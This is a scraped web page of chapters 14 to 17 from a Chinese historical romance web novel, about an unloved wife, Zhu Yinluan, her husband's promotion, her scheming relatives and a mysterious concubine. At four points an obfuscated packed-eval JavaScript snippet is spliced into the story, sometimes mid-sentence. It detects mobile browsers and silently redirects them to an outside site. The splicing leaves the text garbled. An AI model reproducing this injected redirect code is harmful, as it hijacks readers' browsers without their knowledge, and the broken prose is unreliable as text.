骆暄.插.了一嘴,非要留下女人,他说她身子不好,生产之时伤了根骨,要是赶出去了,不知道怎么活,求着朱夫人不要如此绝情,也求骆夫人,还说他从来没求过骆夫人什么事情,这是第一次。 骆夫人很是动容,祝沉檀分毫不让,只甩了一句话,有这个女人就没有她!眼神怨恨盯着女人与她相似的眉眼。 祝吟鸾置身事外,站在旁边,原本一句话都没说,可骆夫人忽然看向她,“卫夫人,你说呢?” 一瞬间,所有人的目光全都投.射.到她的脸上。 祝吟鸾忽而被架了起来,她轻笑,“吟鸾也不知该如何。” 朱夫人收回眼睛,祝沉檀却瞪她,低声斥责,“你是我妹妹,你为何不帮我说话,让这个女人带着孩子走?” “我一向没有主意,长姐您也是知道的。” 祝沉檀,“就知道你永远指望不上。” 这件事情僵持不下,最后不欢而散,骆夫人道再商议商议,先冷静几日。 祝沉檀跟着朱夫人回娘家小住。 祝吟鸾自然也跟着去了。 一上马车,祝沉檀就开始跟朱夫人哭诉,说那个女人和骆暄有勾连,说她这些年过得很苦,若是再让那个女人进门,日后骆家都要成为那个女人的天下了。 朱夫人被她哭得头疼,却好脾气哄着她。 这一日,祝吟鸾跟着回了娘家一趟,她没想到,快到用晚膳之时,卫如琢竟然跟着父兄一道回来了。 见到卫如琢的一瞬间,她下意识无比留察他的反应。 他先是瞧了她一眼,随后又将目光落到了长姐的身上。 而长姐也委屈无比回应他的眼神,抬手抹着眼泪。 祝吟鸾向父兄请安,可父亲和兄长都没怎么回应她,只是随意抬了抬手。 祝吟鸾站到一边,“……” 她想问卫如琢怎么会来?不是说在忙公事?他来祝家,到底是来接她,还是担心长姐。 可她只敢在心里想,并不敢问。 用膳期间,祝大人说他已经知道了这件事情,待他出面跟骆家商榷就是了,哄着祝沉檀不要再哭,又说她这些时日瘦了许多,嘱咐她多吃一些。 祝沉檀不仅仅说她自己委屈,甚至还帮着朱夫人陈情,说今日骆家十分下她的面子。 这句话也是在告状。 祝大人蹙眉叫她不必怕骆家,转而道起朝政上的事情,说祝鸣生蒸蒸日上,日后也有得升。 不仅仅是夸了二哥哥,还说了卫如琢。 祝大人让人取酒来,说提前祝他晋升之喜。 晋升? 祝吟鸾随之看去,卫如琢并没有跟她说过这件事情。 朱夫人欣喜问,“又要升了吗?” 祝鸣生笑着说是真的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15260084|166262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“儿子如今在三省任职,儿子说的话,您还不信吗?” 三省可是圣意裁决的关要,既然都已经过了三省,那意味着卫如琢的晋升是板上钉钉的了。 “妹婿借调去户部帮忙一事办得很好,儿子去中书省之时,亲自听到沈世子手下的人说名录上有他的名字。” “那是升到什么地方?”祝沉檀不哭了,追着问。 朱夫人也让他快说。 卫如琢谦逊,说这件事情只是有个苗头,既没有下旨意,那便不是真的,让大家不要再说了。 祝鸣生却道,“怎么不是真的?沈世子可是御前的红人,这件事情既然是他手下人说的,那定然是真的!” “能得沈世子的人提及晋升,想必官位不低吧?”朱夫人问道,“老爷,你觉得会升到什么地方去?” 祝大人点头的同时估摸着,“应当是侍郎等职务。” “梵昌新.政之后,陛下在用人一事之上赏罚分明,卫家之前一直被打压,如琢为人处事出色,既然都入了中书省的眼睛,日后……” 日后如何,已经不必多说了。 祝吟鸾随之看去,卫如琢虽然表露谦逊,可眉眼之间依然可以看到意气风发之态。 酒水已经端了上来,众人随之庆贺他。 卫如琢都喝了酒,连声谢祝大人,说要多亏他的提携。 因为这件事情,祝沉檀的心绪都好了不少。 当夜里,两人留了下来。 卫如琢去沐浴,祝吟鸾为他熬醒酒汤,端出来之后,他道,“我并没有吃多少酒,着实不必喝。” 见他不吃,祝吟鸾让人端下去倒掉。 可没一会,竟有人过来了。 开门一看,竟然是祝沉檀身边的小丫鬟,她端着东西,还没张口,祝吟鸾便知道是醒酒汤。 “大小姐担心三小姐忘了这件事情,又说卫大人的醒酒汤里不喜欢放姜梅,特让亲手熬了,让奴婢送来。” 他不喜欢在汤里放姜梅的事情,祝吟鸾自然知道,她适才也没有放。 但长姐也知道。 是啊,两人当初毕竟是未婚夫妻。 祝吟鸾没说话,她心绪不好,不想说话。 卫如琢却让人端进来。 那丫鬟没走,似乎要看着卫如琢喝完,也的确如此,她道要把碗盏拿回去。 然后祝吟鸾眼睁睁看着卫如琢喝了。 他没有喝她的解酒汤,却喝了长姐的。 祝吟鸾垂眼。 丫鬟走了之后,卫如琢看向一旁的祝吟鸾,她没有说话。 卫如琢觉得要解释一二,可方要开口,又觉得有什么好解释的? 祝吟鸾都没有问。 于是两人躺入幔帐之中。 兴许是吃了解酒汤的缘故,又加之提前知道了他要晋升,卫如琢没有睡意。 他看着身侧距离他很远的枕边人。 她窝在最里侧,身形娇小,呼吸轻软。 以前她喜欢挨着他睡,也不知道从什么时候起,竟然离他这么远了? 卫如琢忽而靠近过去,祝吟鸾瞬间警惕地睁开眼睛。 15.第15章 她攥紧了被褥,本就没有瞌睡的思绪在一瞬间聚拢。 卫如琢靠近她之后,闻到了她身上散发的淡淡香味,说不上来是什么香,闻起来叫人安定,不似那些丫鬟,身上所用的熏香总是尤其浓郁。 他新收的房姨方种月身上所用的香倒是也淡,可跟祝吟鸾身上的比起来,还是不好闻。 他有多久没跟祝吟鸾同房了?上一次是什么时候? 似乎许久了吧,卫如琢想了想,暂时没有想起来。 他的手方才要揽过她的腰肢,却发现她又闷头往里钻去。 原本就是靠着里侧睡,如今更是直接贴到里面去了。 看似不经意,却又太凑巧。 他没说什么,只又靠近。 这时候卫如琢听到了明确的拒绝,因为祝吟鸾说,“夫君,我今日累了。” “怎么了?”他蹙眉问道。 祝吟鸾听得出来,他并非是关心的语气,而是被她拒绝的不耐,不喜欢她的不解风情。 卫如琢的确是不耐,今日因为晋升的缘故,众人都抬他的脸面,可唯独祝吟鸾,竟然在他主动之时拒绝了他,所以他追问为何。 “难不成是因为方才我没喝你煮的解酒汤?” “并非如此。”窝在里面的女子轻声。 “那因为什么?”卫如琢咄咄逼人。 祝吟鸾不得不撒谎,“我身上不方便。” 卫如琢顿了一下,他把这件事情给忘了。 原以为是解酒汤的缘故,祝吟鸾耿耿于怀,斤斤计较,没想到是身子不方便的缘故。 自知理亏,却不想在她面前落了下风,卫如琢退离,“你如何不早说?” 感受到男人拉开距离,那股令人窒息的感觉随之散去。 祝吟鸾攥着被褥的手却没有放开。 她今日没有来癸水,但是她不想同卫如琢圆房。 也不知从什么时候开始,她厌倦,甚至是害怕卫如琢的触碰。 如今小房也收了,只等着方种月生下孩子,其余的再说吧。 祝吟鸾攥着被褥,这一夜睡得并不安稳。 卫如琢起初有些燥意,而后又生生压了下去,渐渐也歇了。 “……” 因为卫如琢要晋升的事情,朱夫人很开心,一大早便起来张罗人做了许多菜食,多是卫如琢喜欢的。 不仅如此,就连祝沉檀也起来了。 祝吟鸾过去之时,朱夫人和祝沉檀就好似没有看到她,十分热情拉着卫如琢说话。 祝吟鸾听到她的长姐道,“这道酱配烤鸭是你从前最喜欢的,你尝尝看,味道如何。” 长姐直接用公筷夹到了卫如琢的碗里,祝吟鸾看到了,敛下眼睫。 这一幕就好似回到了未出嫁之前,卫如琢来祝家用膳,长姐让他多吃些,他很耐心听着长姐说话。 她那时候也跟现在一样,坐在旁边一言不发。 家里的人并不在意她。 如今她才是卫如琢的正妻,可母亲父亲二哥哥,谁都没有把她放到眼里,甚至不觉得长姐的举措有丝毫的逾矩。 祝吟鸾也很清楚,是因为她这个正头卫夫人没有份量。 这个份量和底气,卫如琢没给她。 祝吟鸾郁郁寡欢用完了早膳,想要回卫家。 可母亲却挽留卫如琢让他多住几日,又跟她说,“你既然说你婆母身子不好,那你就先回去伺候着吧。” “家里这边的事情还没忙完,如今就让如琢留下,好帮忙拿个主意。” 若在之前,祝吟鸾听到这句话,心里必然难受异常,可如今她却只觉得轻松,至于什么规矩不规矩,合不合礼仪,也不用分辨了。 她轻声细语应了朱夫人的话茬,“好,女儿知道了。” “也请父亲母亲长姐哥哥多多保养身子,家里一切夫君多多照料,婆母那边我会看顾好的。” “嗯,你去吧,你长姐晨起收拾了一些补品,你一道带回去给你的婆母,待你长姐向她行礼问安。” “是。”祝吟鸾一一顺从。 朱夫人摆摆手,她福身之后便离开了。 卫如琢看着她安静悄然离去的背影,忽而觉得心里堵塞。 可祝大人来了,拉着他说话,提起朝政上借调的事情,还说帮他引荐官员,卫如琢瞬间把方才的怪异感受抛诸脑后。 回去的路上,明芽忍不住说了几句,祝吟鸾始终安静听着。 “小姐,您怎么一言不发?”明芽担心她自己在心里憋坏了。 “不知该说些什么。”祝吟鸾启唇。 “您这些时日身子不适,心里也不快,饭也少吃,整个人都清瘦了不少。” “昨日不是还吃了不少吗?”她露出一个笑,示意明芽别担心。 “您还不如不笑,瞧着您如此强颜欢笑,奴婢心里就跟针扎似地难受。”明芽忍不住抹眼泪,心疼祝吟鸾过得不好。 “好了别哭了。”祝吟鸾哄了她好一会,“人生在世哪有不受委屈的,我如今也算衣食无忧,居有定所,比很多人都好了。” 至少比出嫁之前强,为了微薄的月钱精打细算,省吃俭用。 如今手上到底宽裕不少。 “奴婢心疼您。” “我没事。”祝吟鸾还是那句话。 “大小姐行事没有分寸,老爷夫人二公子也不疼您。” “或许……”她本身就不讨喜吧,可要她怎么做呢? 祝吟鸾不知道,便也没吭声。 明芽转而提起骆家的事情,“没想到当初骆大人提亲大小姐,竟是因为这个女子的缘故。” “不管是不是,事已成定局了。”祝吟鸾让她别提,免得被人听去,明芽也很规矩住了口。 “小姐,快要到万香斋了,您早膳没吃多少,奴婢去给您买点芝麻糖糕吧?” “我随你一道去。”她拿了帷帽。 马车停在不远处。 祝吟鸾跟着明芽走。 过了晨起好时候,街道便开了市场,此刻热闹非凡,听着四下的喧闹声,祝吟鸾心绪都好了不少。 “娘子,这芝麻糖糕我们这边的铺子早就不做了。”那小二遗憾道。 祝吟鸾愣了一下,虽有些失望却不难过,“那要些旁的就是。” “近来出了一些新糕点,只是刚出炉的已经被人要了,如今需得再等等。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15265360|166262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “需要多久?”祝吟鸾问。 “半个时辰吧。” 可等了一柱香,祝吟鸾看着天色不好,怕一会下雨,未免耽误太久了,回去晚了庞氏唠叨。 其余的糕点祝吟鸾不喜欢,便告辞说不要了,带着明芽离开。 可方才出了铺子没走多远,被店里的小二给追上。 他手里提着糕点道,“这份是咱们分铺送来的,说是上一个客人买了又不要了,打包好了并没有动过,里面有芝麻糖糕,若是姑娘不嫌弃,这份送了您如何?”” 祝吟鸾愣住,回神之后连忙让明芽拿银钱,对方却说不要,给了东西却走了。 回了马车打开,的确看到有芝麻糖糕。 明芽开心道,“小姐,今儿虽然不赶巧,却也有意外之喜呢。” 捻起一块芝麻糖糕,祝吟鸾尝到食物在舌尖化开的甜软,心绪都好了不少。 却不知道这边的店小二跑回铺子以后,转到后院,点头哈腰,“东西已经帮您送过去了。” 对方递给他一块银子,小二欣喜不已,“多谢大人。” 随从离开再去给马车里的男人复命,对方翻着书卷淡淡嗯了一声。 不知是不是祝吟鸾许久没吃,总觉得这糕点的味道好了不少。 甚至可以和先前阴差阳错之下,尝到的宫内的糕点差不多了。 她还让明芽也尝了,对方连声道,“味道好多了!真真是不错!或许是这家铺子换人了呢?” 祝吟鸾没有起疑,应当是的吧。 若非味道很好,怎么会那么早就卖完了呢? “小姐若是喜欢,奴婢明儿再给您来买。” “明日再说吧,东西吃多了总是容易腻味的。”她笑了一下。 马车停在卫家门前,下了马车之后,祝吟鸾脸上的笑容很快便消失了。 她抬头看着卫家的牌匾,去年换了一个新的,挂在门前更大更显赫,就好像卫如琢升的官位一样,“……” 用了太医的药,庞氏身子好多了。 方种月扶着她在后厅走动,见到祝吟鸾,她问了祝家和骆家的事情。 “这倒是苦了你姐姐。”庞氏收下祝家送来的礼,不免叹息,还骂了骆暄几句,说他有眼不识明珠,倒捡了外面的玻璃珠子当个宝贝。 祝吟鸾默默听着。 她知道婆母历来喜欢长姐,没想到发生这样的事情,往日里十分注重子嗣的人,却依然选择站在长姐这边,为她说话,话里话外似乎也不想那人带着孩子进入骆家门。 感叹归感叹,祝吟鸾却不怎么意外。 “琢哥儿有没有说他何时回来?”庞氏看着祝吟鸾问道。 “夫君没说。”怕庞氏又说她不尽妻子本分关怀夫君,祝吟鸾跟她提了卫如琢要晋升的事情。 庞氏高兴得不得了,连连道,“这真是祖上冒青烟啊!可喜可贺啊!快叫人筹备酒水瓜菜,好请客吃饭!” 方种月也在旁边贺喜,夸耀卫如琢是人中龙凤,捧着庞氏,拐着弯赞说她教子有方。 庞氏笑意满满,几乎合不拢嘴。 过一会,目光触及一旁沉默的祝吟鸾,却又哼了一声,眼神流露出挑剔和不满。 16.第16章 察觉到自己婆母不喜悦的眼神,祝吟鸾什么都没说。 庞氏对她的不满并非一朝一夕,而是积年累月堆积下来,岂能凭借她一两句话就能够缓和讨喜上? 多说多错,索性就不开口。 她也很清楚庞氏为何越来越不喜欢她,生不出孩子是其二,至于其二…她的出身不够好。 先前卫家败落之时,她刚嫁进来,庞氏还没有这么多微词。 因为她做了很多事情,尤其是接管了卫家之后一直.操.持着里里外外的大小事,她每一件都尽力做好,让庞氏找不到话茬来训斥,时至今日她管着卫家依然还是这样努力。 可卫如琢官位晋升,越发站到显赫的地方去,渐渐耀眼起来,在他身侧的她便显得微不足道了。 庞氏越发觉得她这个庶女出身,且生不出孩子的人,配不上她的儿子。 祝吟鸾想到在门口看见的,上一块被替换的匾额,因为不够亮堂,拉低了卫家的门庭,庞氏让人换了。 想到卫如琢的冷淡和不耐烦,祝吟鸾也不知道,她以后会不会如同那块匾额一般被替换掉。 届时的她该何去何从? 祝吟鸾不知道。 走神的期间,庞氏又跟方种月说了许多话。 她对方种月很喜欢,即便方种月只是个奴婢,但方种月的母亲在沈家做活计,还是个管事的,这意味着有话语权和实权。 在尊卑分明的京城里,给高门大户做丫鬟甚至要胜过许许多多的人,毕竟有句话说得很好,打狗还要看主人。 为了能够上沈家的门庭,了解沈家的人,给未来卫如琢铺路交际人脉,庞氏问了许多方种月有关于沈家人的事情。 她说沈家的事情并不太清楚,但沈家人的喜好,从她母亲的嘴里,她知道很多。 庞氏让她快些说来,“沈世子掌管中书令,那可是中书大人了,琢哥儿升迁的事情想必是他管的,日后拜访沈家走人情,沈家主人们的喜好便至关重要。” “夫人想要知道些什么,奴婢定然知无不言言无不尽。”方种月柔顺道。 祝吟鸾在旁边,也被迫听了不少。 方种月说这句话之时,看了她一眼,她注意力微微涣散,不知有没有留查到。 庞氏很高兴,助着方种月的脸,轻拍她的手,“什么奴婢不奴婢,你如今也是我们卫家人,不需要将自己的身段放得这么低。” 方种月却端着规矩,“多亏少夫人和夫人抬举,种月不敢忘本。” 庞氏更满意了。 “沈家的旁支很多,但只有大房住在侯府里。” “侯爷、侯夫人,兼并老太太,还有几房姨娘,除此之外,便是沈世子,以及他的妹妹。” “听说昭平侯爷底下子嗣众多?” “是,沈世子为嫡长子,自出生起便承袭爵位,其余的嫡次公子,庶公子小姐们,差不离都成家了。” “既然都成家,这沈世子为何还不成家啊?”庞氏打着主意问。 本以为方种月只是个管事下人的女儿,不知道什么东西,可她竟然压低了声音道,“母亲听说,是因为皇上忌惮功臣结势,所以沈世子的婚事才一拖至今日。” 庞氏惊诧之余,脑子转了起来,旋即忍不住在心里惋惜,若是她的女儿还没嫁出去,卫家的门庭再升几年,这说不定……能够上沈家的门阀呢? 再惋惜也没有用,她两个女儿都嫁出去了。 好在两人都嫁得不错,虽然大的卫清丝,上一次来总跟她抱怨说婆母苛责,到底吵吵闹闹的,也过得下去。 “照你这么说,沈世子极有可能会选个小门户的女子作为世子妃了?” “奴婢也只是听母亲闲说,具体的事由并不清楚。” 方种月又掠过祝吟鸾一眼,不知她有没有把这句话听进去。 “没想到这高门世家也有高门世家的烦忧啊。” “不能够娶高门女子,或许圣上有意将公主许配给沈世子呢?若是没有这个意思,这些年为何如此看重沈家?” 庞氏又提了奉安公主,毕竟这位公主很得皇帝喜爱,除此之外,她在皇宴之上向沈景湛表露过她的心意,只可惜被沈景湛视而不见,甚至遭到了太后的训斥。 “夫人有所不知,沈世子曾向沈老夫人明确表示过并不喜欢奉安公主,提起她的时候一脸厌恶呢。” “是吗?”庞氏好奇。 方种月又看向祝吟鸾。 这一次,祝吟鸾感受到了她看过来的视线,抬眼跟方种月对视上了。 实际上,方种月频频留意,祝吟鸾已经感受到了。 她只是不明白方种月为何频繁看过来。 若说是为了在她这位正夫人面前彰显她很得庞氏宠爱,却又不像,因为方种月的神色和眼神都没有谄媚得势的神态。 她更像是……在留意她有没有听进去。 好奇怪。 所以这一次祝吟鸾抬头看向她,想知道她究竟要做什么? 可方种月就是一眼,又收回了视线,继续跟庞氏说话。 “没想到,沈世子竟不喜欢奉安公主,这公主虽然跋扈不检,可到底是皇族的人,皇帝备受宠爱的女儿啊。” 方种月只是笑笑,“沈世子乃人中龙凤,何须尚公主来添光荣呢?” 被反驳的庞氏却不恼怒,“你说得也是啊,沈家何等显赫门庭,沈世子出生之日便定袭爵,便是没有家世托举,他如今凭借才学,不也爬到了中书令的位置上,听说他还兼管御史台?” 庞氏连连感叹,“也不知琢哥儿何时能够如同沈世子一般坐到如此位置,叫我们卫家门庭蓬荜生辉,跃为京城高门前列啊。” “大人连连晋升,还愁没有将来吗?”方种月哄着庞氏说了一箩筐好话,庞氏笑得红光满面。 不一会,话茬又绕回来了。 “沈世子一直不娶,真不知道会相中哪家的姑娘了?”庞氏呐呐不知哪家姑娘如此好命。 “奴婢的母亲去沈老夫人面前接替伺候过几日,听说沈世子之所以不娶,是因为他心里早有了喜悦多年的姑娘。” “喜悦多年的姑娘?”庞氏震惊,“可曾听到是哪家的?” 庞氏问完这句话,方种月又看过来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15272345|166262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 祝吟鸾觉得她莫名其妙。 不是在沈景湛喜悦多年的姑娘么? 为何要看她? 难不成,沈景湛喜悦的姑娘是她?这怎么可能? 她又不认识沈景湛。 不对,虽然算是认识沈景湛了,不能说是认识,也就是有过几面之缘。 京城贵女如此之多,对他前仆后继的人只怕更多,沈景湛礼貌疏离,想必已经记不得她是谁了。 方种月看过去的视线被庞氏给察觉了,庞氏奇怪,问她看祝吟鸾做什么? “莫不是祝家的人?”不对,这句话出来之后她自己就推翻了。 祝大人子嗣不多,只有两女一子,两个女儿都嫁人了,祝鸣生今年也有了定好的贵女,怎么可能是祝家的人。 可祝家有很多旁系,说不定呢? 庞氏刚要问祝吟鸾祝家可否有没出嫁,待字闺中的姑娘。 方种月却笑着先一步道,“种月母亲也不能得知是何等人物,但种月在想,能让世子爷多年喜爱,念念不忘,必定如同少夫人这般貌美动人。” 猝不及防的夸耀,庞氏和祝吟鸾都不明所以。 尤其是当祝吟鸾触及方种月眼底展露的眼神。 她总觉得对方幽幽另有深意,不只是夸她那么简单。 庞氏却嗤笑了一下,“这空有美貌有何用,还不是生不出孩子?” 方种月哄庞氏,捧着祝吟鸾,“少夫人这些年.操.持着卫家上下,很是辛苦,说不定是因为管家太累,伤到了身子。” 提起孩子,庞氏摆摆手,方种月也没有再说什么。 不过,庞氏跟祝吟鸾说,“日后家里的事情,你若管不过来,让种月帮着吧。” 这句话,看似体恤,实际上就是分.权.了。 祝吟鸾并没有不满,淡笑道,“儿媳都听婆母的吩咐。” 原以为祝吟鸾会辩驳,没想到她干脆应了,让人想发火都找不到错处。 后面方种月又跟庞氏说了不少有关沈家诸位贵人的喜好忌讳,就连祝吟鸾在旁边都听进去了,被迫了解了不少沈家长房人的喜好厌恶。 除了那位沈世子,方种月说他不常回侯府住,自己在外面有府邸,所以不得而知。 说到这句话的时候,方种月又看过来,虽然很隐蔽,祝吟鸾却捕捉到了,不知道她是何深意,她也懒得管。 “……” 庞氏逛累了要回停雨阁,方种月和祝吟鸾送她回去。 她留下方种月,却让祝吟鸾去忙,说她昨日没回家,堆积了不少家务事。 不用看庞氏臭脸,祝吟鸾自然乐得离开。 只是明芽少不了在她耳边唠叨,说那方种月心机深沉,在她面前无辜单纯,背过身却对着卫如琢和庞氏无尽讨好,今日还得了管家的事,日后有孕生了孩子还得了? “小姐您不管管吗?”明芽太担心方种月踩到祝吟鸾脸上来,欺负她。 “算了,日后再说吧。”祝吟鸾摇头。 她不知道方种月葫芦里卖的究竟是什么药,可总觉得她似乎不会…害她。 17.第17章 这句话可不能对着明芽说,否则明芽定然一惊一乍,说她太单纯良善了。 祝吟鸾甚至不清楚她这种感觉从何而来。 她竟然相信一个算是“抢”了她夫君的小妾? 思及此,祝吟鸾都觉得荒谬,忍不住想笑,可她没有。 或许是因为方种月太奇怪了,既然暂不明她的意思,便静观其变。 后几日,卫如琢都没回来,也不知在忙什么,祝吟鸾没有过问,祝家也没传消息来,至于祝沉檀和骆暄到底如何,她也不得而知,没叫人打听。 她先前很期盼卫如琢回家,日日夜夜盼着,有一段时日几乎到望眼欲穿,后来虽然没有如此严重,可也总期盼他回来,因为他是她的郎君,是跟她有过亲密无间,交托过心事的枕边人。 可后来,两人渐行渐远,他纳了妾之后,也不知为何,不明白从何时开始,她竟然开始厌恶他的碰触,用谎言欺骗粉碎他想要同房的心思。 卫如琢不归家,她也不再期盼,反而觉得轻松,舒坦。 如今就期盼着方种月早日怀上孩子,为卫家生下一男半女,她悉心帮着抚养,日子也就这样过下去就是了。 方种月母亲沾着沈家,庞氏十分喜欢她,这些时日时常让她过去停雨阁用膳。 护着庞氏的脸面,祝吟鸾分了不少管家的事情让方种月去做,都是些轻巧又长脸的活计,譬如听管事妈妈们报每日的账目,对每日膳房采买的账本,亦或者去库房筹备赠送来往世家的贺礼。 除此之外,祝吟鸾还让人仔细方种月的膳食,先前她从郎中处得知的所有,有关于备孕事项,全都告知了方种月和伺候方种月的下人。 鉴此,祝吟鸾还收获了一个贤良大方的名声。 庞氏想找茬都挑不错来。 她原以为祝吟鸾看她这些时日亲近方种月,会暗地里挤兑她,可没想到下人们都说她对方种月很好,宛若亲姐妹一般。 云妈妈适时在庞氏身边夸祝吟鸾,庞氏看穿她的心思,冷哼道,“贤良大度又有什么用,还不是生不出孩子来。” 觉察到主子语气不对,云妈妈不说话了。 过了一会庞氏道,“我记得前儿库房里收拢了一匹云锦,你让人裁了半匹送给她吧。” 云妈妈连忙哎声应好。 虽然只送半匹,显得很抠搜,可这东西有了总比没有好。 庞氏这些时日冷落祝吟鸾,难免有趋炎附势的下人不听她的掌管,不尊她这位正夫人。 伺候庞氏吃了燕窝,云妈妈让人裁好了,赶紧着给祝吟鸾送去。 祝吟鸾拿到东西的时候,虽有怔愣,但还是笑着接了。 云妈妈宽慰她两句,让她多用些饭菜,说她近来气色虽然渐渐恢复,可人看着清减不少。 祝吟鸾叫她吃新沏的茶,又道,“您的意思,吟鸾都明白,往日里多谢您的帮衬和照拂了。” “少夫人太见外了,您是主子,往日里又宽厚,奴婢就算是在卫家久了有些脸面,可还是下人,说什么帮衬不帮衬,照拂不照拂的,实在是太折煞奴婢了。” “这几日天色不好,总落雨,妈妈总有旧疾,这是我让明芽去申家药堂买的药酒,味小效用还不错,您擦擦看。” 云妈妈很感激接了过去,“劳烦少夫人记挂。” 随后云妈妈又提点了祝吟鸾几句,说如今方种月虽然进门了,可让她还是要多多笼络卫如琢,就算没有孩子,夫妻之间的和睦,丈夫的宠爱也是要的。 “至于子嗣,您还年轻,指不定的事情,保不准今年就有身子了呢?”云妈妈让她放宽心,说方种月再怎么得脸,也只是个妾,庞氏不会让方种月越过她,出身摆在那里呢。 听到出身两个字,祝吟鸾在心里笑了一下,嘴上应着好。 “这云锦花色好,大公子今日往停雨阁去了信,说过两日归家,您快些叫人裁身衣衫穿了,瞧着漂亮。” 让她取悦卫如琢,她不想。 心里不想,祝吟鸾嘴上还是应了。 送走云妈妈以后,明芽说把云锦交给手下的人裁衣衫。 祝吟鸾看着这半匹料子,回想庞氏多久没给她送东西了? 似乎很久了,上一次送还是年节之时,这转眼竟然又要到年节了。 庞氏居然赶在之前给她送了一匹云锦,不,是半匹。 “小姐,您喜欢什么样式的?奴婢让人给您裁当下最时兴的蘩水流云可好?”明芽在旁边问。 祝吟鸾回神,敛住自己的思绪,脑子里却在想另外一件事情。 她拉住明芽,“你许久没为我裁衣衫了,你亲自为我做可好?” “当然可以了。”明芽手很巧,以前在闺中就经常帮祝吟鸾裁衣衫,甚至于做花钿,这些她都是会的。 “好,既然如此你去做吧,早些做出来比较好,云妈妈不是说过些时日夫君要回来么?”她道。 明芽见她总算上心了,连连点头,又问她要什么样式? “都好,你看着裁吧。”祝吟鸾道相信她。 “小姐既然相信奴婢,奴婢也不会叫您失望了。”明芽势必要大展身手。 见她去忙了,祝吟鸾招手叫来一旁的姣惠,拿了斗篷和帷帽,领着她出门。 又怕明芽担心,留了话说是去外面买糕点。 坐上马车之后,祝吟鸾盘算着不能去申家药堂,也不能去往日里去的药堂,怕被人留察,她要去隐蔽一些的地方。 可她虽然对京城一些地方眼熟,但也不至于处处都知道。 “姣惠,你知道什么地方的药堂少有人去,又比较隐蔽么?” 她之所以带着姣惠出来,除却因为姣惠话少沉默只忠于她一个人,很少过问她的话茬,也还因为姣惠之前就在京城谋生,走街串巷,定然清楚里面的弯弯道道。 “奴婢知道。” “好,你带我去。”祝吟鸾轻声。 她见姣惠跟车夫吩咐了一个地方,那车夫都有些许迷蒙,说不认识路,姣惠指着车夫怎么走。 七弯八绕之后,到了一处僻静的巷子,下了马车,车夫在此等候,姣惠带着祝吟鸾穿过巷子暗堂。 出来之后,又绕到了一处街市,这里也有铺面小贩,人却没有那么多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15283850|166262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,相对而言隐蔽而僻静,不怎么吵。 祝吟鸾看过来,似乎知道她疑惑什么,姣惠解释道,“奴婢先前在这边找过活计做,这里多是外地商贩,用人也不怎么严谨苛责。” “那边的药铺少有人来,郎中还是外地人,不过医术很好,不会随意坑蒙拐骗人抓方,虚要高价。” 绕过转角,祝吟鸾见到了药铺悬挂的招牌。 除病斋,她在心里默念。 名字倒是好。 只可惜,她不是来看病的。 药铺里面很安静,能够闻到淡淡的汤药味,抓药的药童见到了两人,上前询问,领着祝吟鸾往里面去。 这里真的好僻静,内院有两棵高大的槐树,几乎把整个院子都笼罩完全了,光影透过槐树的间隙错落下来,走在内院幽凉安静,槐树的枝桠处绑着一个秋千。 微风刮过,秋千也随之微微晃动。 看着这秋千,祝吟鸾有些晃神。 闻着院子里若有似无的药味,她的脑子里忽而晃过铜铃般悦耳的笑声,似乎有什么人坐了秋千,很愉悦地笑。 可定睛一看,哪有什么人坐秋千,这里空荡荡的。 她是不是太累了,怎么会晃过这样的画面。 好生奇怪。 祝吟鸾往里走去,姣惠被她叫了在外面等。 这个郎中似乎很年轻? 他往后瘫在躺椅里,一本药经罩着脸,脚翘到案桌上,似乎在休息? 祝吟鸾不得不出声提醒。 可她轻咳一声,对方还是没有反应,她不得不拔高声音。 对方这才如梦初醒般转醒,不,是被吓醒的,罩在他脸上的药经掉到了地上。 祝吟鸾可算是看清了他的脸。 很俊逸的长相,年岁的确不大,只是他怎么长得有些跟那个沈景湛有些许像? 是她的错觉吗? “你……?”对方匆忙弯腰把经书捡起来,“你来瞧病?” “是……”祝吟鸾有些许尴尬。 “哦哦…郎中在楼上煎药呢,我去帮你——” 